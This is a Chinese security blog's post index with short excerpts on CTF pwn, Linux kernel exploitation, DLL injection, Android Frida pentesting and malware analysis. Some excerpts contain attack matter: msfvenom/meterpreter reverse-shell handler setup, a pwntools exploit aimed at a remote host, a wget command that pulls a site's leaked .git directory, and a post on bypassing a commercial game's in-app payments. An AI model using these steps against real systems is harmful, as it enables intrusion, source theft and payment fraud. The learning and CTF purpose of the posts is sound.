自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(76)
  • 资源 (2)
  • 收藏
  • 关注

原创 ctf-pwn的一些小技巧

奇淫技巧scanf里面会认为+123还是123, 即+可以用来绕过某些栈中的canary;scanf可以触发malloc_consolidate释放堆到unsortedbin;pwntools当我们在写exp的时候有些需要去复制粘贴某些函数在plt表,got表的地址,或者找ROP的地址,有些时候复制粘贴不方便且不方便阅读,这样时候我们就可以用pwntools中提供的一些函数;以32位程序的exp为例:ROPgadget:0x0804872f : pop ebp ; ret0x08048

2020-11-15 16:19:10 9588

原创 web小记

提取.git泄露的源码常规:wget -r -p -np -k http://www.xxx.com/.git/ #先递归批量下载.git目录git log #查看网站的提交记录git reset --hard [log hash] #恢复到指定版本号出现403:使用脚本:GitHack.py http://www.openssl.org/.git/...

2019-09-23 21:25:38 9829

原创 Code记录

i春秋_breakingbadfrom pwn import *import syscontext.log_level = 'debug'context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']name = './break'#p = process(name)p = remote('106.75.2.53',10008)el...

2019-03-08 21:06:02 13265 2

原创 Linux syscall Hook

简介Linux程序基本都是靠系统调用(syscall)来实现的, 所以可以控制到syscall, 就可以对程序进行监控或修改了;前置知识我们知道现在系统中程序分为64位和32位的, 系统为了兼容这些程序对系统函数的调用方法进行了简单的区分,最直观的就是64位程序使用syscall来调用系统函数,而32位的程序使用的是int 0x80, 比如这里的sleep函数的系统调用:64位程序:32位程序:当然, 不是简单一个syscall命令或者int 0x80命令就可以完成一个系统调用, 还有一个系

2021-03-26 20:25:43 32

原创 常用命令

简介远程代码管理离不开git的使用, 这里列出常用的也是必用的几条;命令clonegit clone查看远程分支:git branch -a检查git checkout查看修改的文件git status添加修改的文件git add file1 file2本地提交git commit -m获取远程代码仓库git fetch确认无冲突git merge origin/dev提交到远程git push origin dev...

2021-03-10 14:44:17 10780

原创 运行任意Linux so文件的导出函数

命定运变…

2021-02-26 17:35:45 10807

原创 Django中添加文件上传功能

创建一个应用python3 manage.py sandbox index创建文件夹在sandbox目录下创建一个templates目录, 为了规范再在templates目录创建一个和应用同名的目录sandbox, 然后在创建一个upload.html文件;upload.html文件主要内容如下: <form id="filesub" action="/upload" method="post" enctype="multipart/form-data"> {% csr

2021-01-22 10:46:47 10809 1

原创 gdb调试多进程

简介在Linux系统下主要使用的调试器就是gdb, 但是在使用gdb的时候遇到了多进程的程序时,默认的配置我们是不可以直接多多个进程同时进行调试的, 需要设置几个参数…例子这里程序利用fork()函数生成了一个子进程(第一个框中就是子进程执行的代码);follow-fork-mode和detach-on-fork通过在gdb中设置follow-fork-mode和detach-on-fork的值来调试子程序, 在gdb中分别默认的值是: parent和on:follow-fork-mo

2020-12-01 11:15:28 9447

原创 off-by-one

简介off-by-one漏洞在堆分配时有比较大的威胁, 在pwn中利用比较常见, 这里介绍一个由base64解码造成的off-by-one漏洞, 这个漏洞在CVE-2018-6789当中是真实存在的, 这里以一个ctf中的pwn题目notepad来介绍一下利用过程;前置知识原理在分析程序之前先介绍一下Base64的编码和解码的原理;Base64编码Base64编码的原理是将二进制数据进行分组,每24Bit(即3字节)为一个大组,再把一个大组的数据分成4个6Bit的小分组;因为6bit数据只能表示

2020-11-05 17:06:43 9450

原创 代码注入

简介代码注入在分析程序或制作外挂外挂时是非常爱使用的一种手段, 通常用于调用程序功能, 比如调用程序中的call;其基本原理和DLL注入的原理一样, 目前已经有很多工具可以直接实现代码注入或DLL注入了, 本文只是学习一下原理…思路思路很简单, 基本就两大步:OpenProcess打开需要注入的程序, 获取句柄;通过CreateRemoteThread函数将我们需要注入的代码以新的线程的方式进行运行, 到达注入的效果;通过PEB获取模块基址通常我们注入的代码一般都是汇编, 如果注入是很复杂

2020-11-01 14:00:33 9478

原创 Cobalt Strike远控木马分析

简介Cobalt Strike目前已经很流行, 其生成的木马在很多地方也可以找到, 这里通过网上发布的一个aqy的免广告的工具中带的木马进行分析学习…过程找到可疑文件这里通过Exeinfo.exe工具, 发现可疑DLL, 文件被vmp 2.07加了壳, 很明显一般的dll不会加这种壳:行为分析通过OD我们进行调试, 发现此dll的主要功能是调用当前目录下的powershell脚本dataup.ps1:查看此dataup.ps1, 代码如下:sal a New-Object;Add-Typ

2020-10-21 22:17:33 10440

原创 SafeSEH

简介safeseh是在seh的基础上进行的改进, 是异常处理的关键结构, 不同的编译器可能使用的safeseh不一样, 但是基本的思想都一样;safeseh验证异常处理链起始位置储存在fs:[0]的位置, 在进程的DEP是开启的情况,有两种异常处理函数被异常分发器认为是有效的:异常处理函数在进程映像的SafeSEH表中,并且没有NO_SEH标志。异常处理函数在进程映像的可执行页,并且没有NO_SEH标志,没有SafeSEH表,没有.NET的ILonly标志。在进程的DEP关闭的情况下

2020-09-27 19:56:25 9481

原创 Windows用户操作

简介通过Windows API对Windows用户进行添加, 密码修改, 禁用等操作;代码#ifndef UNICODE#define UNICODE#endif#pragma comment(lib, "netapi32.lib")#include <stdio.h>#include <windows.h> #include <lm.h>#include <atlstr.h>int main(){ USER_INFO_1 ui

2020-08-31 11:32:12 9471

转载 最详细的Frida笔记

Frida环境https://github.com/frida/fridapyenvpython全版本随机切换,这里提供macOS上的配置方法 brew update brew install pyenv echo -e 'if command -v pyenv 1>/dev/null 2>&1; then\n eval "$(pyenv init -)"\nfi' >> ~/.bash_profile 下载一个3.8.2,

2020-07-15 16:43:00 11354 4

原创 给程序加一个按钮

简介有时候我们会觉得某个已经编译好了的程序的功能不是那么完美,我们想要再添加一些额外的功能,但是我们又没有源码,不方便直接进行修改重编译打包,这时候我们就可以考虑给程序添加一个新功能的按钮了…思路思路很简单,无非就是利用子类化技术,直接编写DLL,然后注入到程序当中去,虽然就一句话但是具体的工作还是比较多,这里我就通过给植物大战僵尸程序为例子仔细说说…编写DLL创建按钮因为我们主要目的是添加一个按钮功能,使用这里主要用到的函数是CreateWindow…Syntax:HWND CreateW

2020-07-03 13:34:22 9549

原创 C语言获取任意Windows程序模块基地址

我已无力接住你,再也不能抗风雨函数这里主要用到的函数是EnumProcessModulesEx:BOOL EnumProcessModulesEx( HANDLE hProcess, HMODULE *lphModule, DWORD cb, LPDWORD lpcbNeeded, DWORD dwFilterFlag);hProcess表示处理的句柄;lphModule表示接收模块句柄列表的数组;cb表示lphModule数组的大小,以字节为单位;lpc.

2020-06-04 23:15:55 19429 4

原创 Android APP渗透测试(2)-Objection

简介objection是基于Frida的一个工具,可以方面我们直接找出apk中的需要HOOK的方法,还可以答应函数的参数,返回值以及栈调用等等,是我们在写Frida脚本的一个不错的辅助工具;安装因为Frida的安装通常需要Python3.7及以上,所以这里objection也使用Python3.7进行安装;如果运气好的话直接使用pip就可以安装:sudo pip3.7 install objection如果有一些报错的话,需要安装依赖再重新编译安装Python3.7,比如:报错一:Modu

2020-05-26 11:14:03 10212

原创 Linux Hook--ptrace的常用参数使用

简介ptrace是一种系统调用,也就是进程追踪(process trace);用于对进程的执行进行干涉以及寄存器状态(值)的读取以及设置,内存的写入与读取;我们常用的Linux下的gdb主要功能实现就是通过ptrace系统调用的:#include <sys/ptrace.h>long ptrace(enum __ptrace_request request, pid_t pid,...

2020-04-28 20:00:03 9623

原创 Android APP渗透测试(1)-Frida

简介Frida是一个多平台的hook框架,功能强大,不仅可以进行常规的Hook工作,还可以完成内存扫描,脱壳等工作,Frida是Python API,但是是JavaScript调试逻辑,核心是用C编写的,并将Google的V8引擎注入到目标进程中,在这些进程中,JavaScript可以完全访问内存,挂钩函数甚至调用进程内的本机函数来执行;安装Frida的安装非常简单,但是Python版本可能...

2020-04-23 11:46:43 9759

原创 Trojan

msfvenommsfconsoleuse exploit/multi/handlerset payload ****/meterpreter/reverse_tcp show options set LHOST=192.168.0.106set LHOST 192.168.0.106set LPORT 5555androidmsfvenom -p android/meterp...

2020-03-17 17:56:32 9646

原创 PHP序列化

序列化serialize()将对象转变成一个字符串便于之后的传递与使用;序列化会保存对象所有的变量,但是不会保存对象的方法;反序列化unserialize()将序列化的结果恢复成对象;反序列化一个对象,这个对象的类必须在反序列化之前定义,或者通过包含该类的定义或者使用 spl_autoload_register() (自动包含类)实现;例子<?phpclass Demo{ ...

2020-03-02 14:26:22 9595

原创 针对IO的利用

简介正常情况下我们用户的输入长度和写入位置都在受到程序限制的,不可能让用户任意地址任意长度写入;但是利用特定的漏洞,我们可以修改到IO结构体中的指针,就可以绕过上面的那些约束从而getshell…_IO_FILE在结构体_IO_FILE当中有很多关键指针:结合源码:int_IO_new_file_underflow (_IO_FILE *fp){ _IO_ssize_t co...

2020-02-05 15:39:02 9831

原创 deepin系统配置及常见问题解决方法

CPU自动调频Linux上基本改用了intel_pstate驱动来替代原有acpi驱动进行cpu管理intel处理器,只有Peformance和Powersave两档,风扇转动快,耗电快…首先可以通过安装cpufrequtils来查看cpu频率:sudo apt install cpufrequtils修改/etc/default/grub文件:#sudo vim /etc/defau...

2020-02-04 12:06:50 11508

原创 Android APP渗透测试(0)-drozer安装

简介rozer是MWR Labs开发的一款Android安全测试框架。是目前最好的Android安全测试工具之一。其官方文档说道:“Drozer允许你一一个普通android应用的身份与其他应用和操作系统交互。”在Web世界已经有了许多安全测试工具了,我们只需要给出一个目标,这些工具就会自动为我们安全测试报告。但Drozer与这样的自动化扫描器不同,Drozer是一种交互式的安全测试工具。使用D...

2020-01-21 21:28:35 9713

原创 SROP

简介SROP的全称是Sigreturn Oriented Programming,这是ROP攻击方法中的一种,其中sigreturn是一个系统调用,在类unix系统发生signal的时候会被间接地调用;在传统的ROP攻击中我们需要寻找大量的gadgets来对寄存器进行赋值已达到我们的需求,而SROP可以减少我们寻找gadgets的难度…前置知识signal 机制我们都知道在Linux中,系...

2019-12-20 15:42:39 10507

原创 Linux Kernel Exploit 内核漏洞学习(5)-整数溢出

Linux Kernel Exploit 内核漏洞学习(5)-整数溢出前言在计算机语言中整数类型都有一个宽度,我们常见的整数类型有8位(单字节字符、布尔类型)、16位(短整型)、32位(长整型)等,也就是说,一个整数类型有一个最大值和一个最小值;如歌把一个数据放入了比它本身小的存储空间中,从而出现了溢出;而通常一个数据的溢出,往往影响的是一个堆或者栈的申请,最终导致堆或栈的溢出…我这里是通过...

2019-11-05 23:58:50 9834

原创 Linux Kernel Exploit 内核漏洞学习(4)-RW Any Memory

简介RW Any Memory的全称是Read and write any memory, 就是内存任意读写;通常这种类型的漏洞是由于越界读写或者错误引用了指针操作造成可以修改控制某个区域里面的指针,导致我们可以改变程序的常规读写区域甚至程序执行流程…这里我是利用2019 STARCTF里面的hackeme来演示和学习这种漏洞的利用,其中环境和题目我放在github上面了.需要的话可以自行下载...

2019-09-02 12:59:33 10015

原创 Linux Kernel Exploit 内核漏洞学习(3)-Bypass-Smep

简介smep的全称是Supervisor Mode Execution Protection,它是内核的一种保护机制,作用是当CPU处于ring0模式的时候,如果执行了用户空间的代码就会触发页错误,很明现这个保护机制就是为了防止ret2usr攻击的…这里为了演示如何绕过这个保护机制,我仍然使用的是CISCN2017 babydriver,这道题基本分析和利用UAF的方法原理我已经在kernel...

2019-08-09 09:15:41 9886

原创 deepin安装kali工具最安全有效方法

在deepin源中添加kali源的时候,很容易将系统搞崩溃,但是通过kali源去安装kali上面的工具又可能是最快最方便的,所以要安装kali工具最安全的方法就是在需要安装的添加Kali源,不需要的时候去除方法1在/etc/apt/目录下面先创建两个源,一个源包含kali源,另一个只有deepin源:kali:## Generated by deepin-installerdeb [b...

2019-08-06 13:41:27 20089 8

原创 Linux Kernel Exploit 内核漏洞学习(2)-ROP

简介ROP的全称为Return-oriented Programming,主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程;这种攻击方法在用户态的条件中运用的比较多,ret2shellcode,ret2libc,ret2text等ret2系列都利用到了ROP的思想,当然这种攻击手法在内核态同样是有用的,并且手法都基...

2019-08-05 21:11:50 10024

原创 Linux kernel Exploit 内核漏洞学习(1)-Double Fetch

简介Double Fetch从漏洞原理上讲是属于条件竞争漏洞,是一种内核态与用户态之间的数据存在着访问竞争;而条件竞争漏洞我们都比较清楚,简单的来说就是多线程数据访问时,并且没有对数据做必要的安全同步措施;当多线程时,对于同一数据有一个线程在读而有另外一个线程在写,这就可能引起数据的访问异常,而此时如果这个异常访问情况发生在内核与用户线程之间时,就触发double fetch漏洞了…为了简化漏...

2019-07-25 21:11:45 9865

原创 kernel pwn -- UAF

简介众所周知,UAF的全称是Use After Free,是一种释放后重用漏洞;之前一直是在用户态下对这个漏洞进行利用学习的,最近想要体验一下在内核环境中利用此漏洞进行提权操作…用户态的常规UAF可以看这篇文章…这里我利用的CISCN2017 babydriver来进行学习的,环境我已经放到github上面了,需要的可以自行下载…前置知识权限在Linux当中每个进程都有它自己的权限,而...

2019-07-25 16:30:44 9947

原创 Linux kernel Exploit 内核漏洞学习(0)-环境安装

前言在Linux上面搞事情很多东西都可能需要我们利用源码来自己编译,相对于Windows来讲可能会比较麻烦和耗时,这个过程中肯定会遇到很多报错,所以一定要有耐心…方法步骤编译内核首先到linux内核的官网下载一份内核源代码并解压:至于需要下载的版本,随意就好,我下载的是5.2.1的…然后先安装有些依赖:sudo apt-get install git fakeroot build-...

2019-07-24 11:32:20 10084

原创 HackInOS

简介HackinOS是一个渗透靶机,模拟真实的渗透环境,方便我们练习渗透方法,靶机下载地址…攻击者:kali受害者:HackInOS渗透步骤##1.获取目标机器ip因为我的靶机在虚拟机中网络用的NAT模式,所以靶机IP肯定和kali在同一个网络下,先利用nmap来扫描一波:[外链图片转存失败(img-rRDZlD1d-1562846106264)(./1.png)][外链图片转存失...

2019-07-11 19:55:40 9980

原创 Fmtstr_Loop

前言很多时候都是因为程序中存在循环,如果程序中不存在循环呢?在一些栈溢出中我们可以使用ROP技术劫持函数返回地址到start,同样我们可以使用格式化字符串漏洞做到这一点…实例题目:12届信息安全国赛半决赛西南赛区思路虽然我们写代码的时候以main函数作为程序入口,但是编译成程序的时候入口并不是main函数,而是start代码段。事实上,start代码段还会调用__libc_start_m...

2019-06-23 13:47:59 9642

原创 滑雪大冒险内购

滑雪大冒险2 App内购相信这个游戏很多人都玩过,游戏里面的道具和地图都是需要出钱购买的;而且不同平台下载的这个APP,里面道具的购买方式可能不一样,但是原理都一样;这里的支付方式是支付宝和微信…工具夜神模拟器AndroidKiller_v1.3.1ApktoolJEB2Monitor.exe分析先让夜神模拟器与monitor.exe连接,找到一些活动的名称,减少工作量...

2019-05-11 16:07:55 9900

原创 ROP高级用法之ret2_dl_runtime_resolve

简介程序想要调用其他动态链接库的函数,必须要在程序加载的时候动态链接;在一个程序运行过程中,可能很多函数在程序执行完时都不会用到,比如一些错误处理函数或者一些用户很少用到的功能模块;所以ELF采用一种叫做延迟绑定(Lazy Binding)的做法,基本思想就是当函数第一次被用到的时候才进行绑定(符号查找、重定位等);而在linux 中是利用_dl_runtime_resolve(link_ma...

2019-04-29 14:57:02 10184 7

原创 DLL注入之CreateRemoteThread法

基本步骤获取目标进程句柄将要注入的dll路径写入目标进程内存获取LoadLibraryW()API地址在目标进程中运行远程线程代码stdafx.h:#if !defined(AFX_STDAFX_H__BDB235D7_5A28_46BE_B3ED_30F25A462A9A__INCLUDED_)#define AFX_STDAFX_H__BDB235D7_5A28_46B...

2019-04-17 22:57:17 9791

原创 脱VM壳的基本方法

以VMP2.07为例:工具:吾爱破解OD右键选择FKVMP>>start,点击OD上方的L按钮,找到retn,然后记录rentn的地址;然后CTRL+G快捷键对VirtualProtect函数下断点,按F9运行观察堆栈区,直到NewProtect=PAGE_READONLY为止;之后取消断点按ALT+M,对代码段下内存访问断点;再次按一次F9后取消代码段的内存访问...

2019-04-15 00:05:31 10873

原创 Linux编译不同版本glibc

方法步骤在http://ftp.gnu.org/gnu/glibc/网站下载你需要的glibc版本解压下载的文件,同时在其他目录下建立一个glibc-x.xx目录:tar glibc-2.23.tar.gzcd glibc-2.23mkdir glibc-2.23进入build目录,然后输入下面的命令,文件的路径自己确定:cd glibc-2.23CFLAGS="-g -...

2019-04-14 13:23:04 16069 3

一道pwn入门的练习题

直接以一个非常简单的栈溢出例子(基于Linux)来讲解pwn所要用到的一些常用的工具及命令的用例

2018-10-23

通过DLL给程序加一个按钮

有时候我们会觉得某个已经编译好了的程序的功能不是那么完美,我们想要再添加一些额外的功能,但是我们又没有源码,不方便直接进行修改重编译打包,这时候我们就可以考虑给程序添加一个新功能的按钮了...

2020-06-23

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人 TA的粉丝

提示
确定要删除当前文章?
取消 删除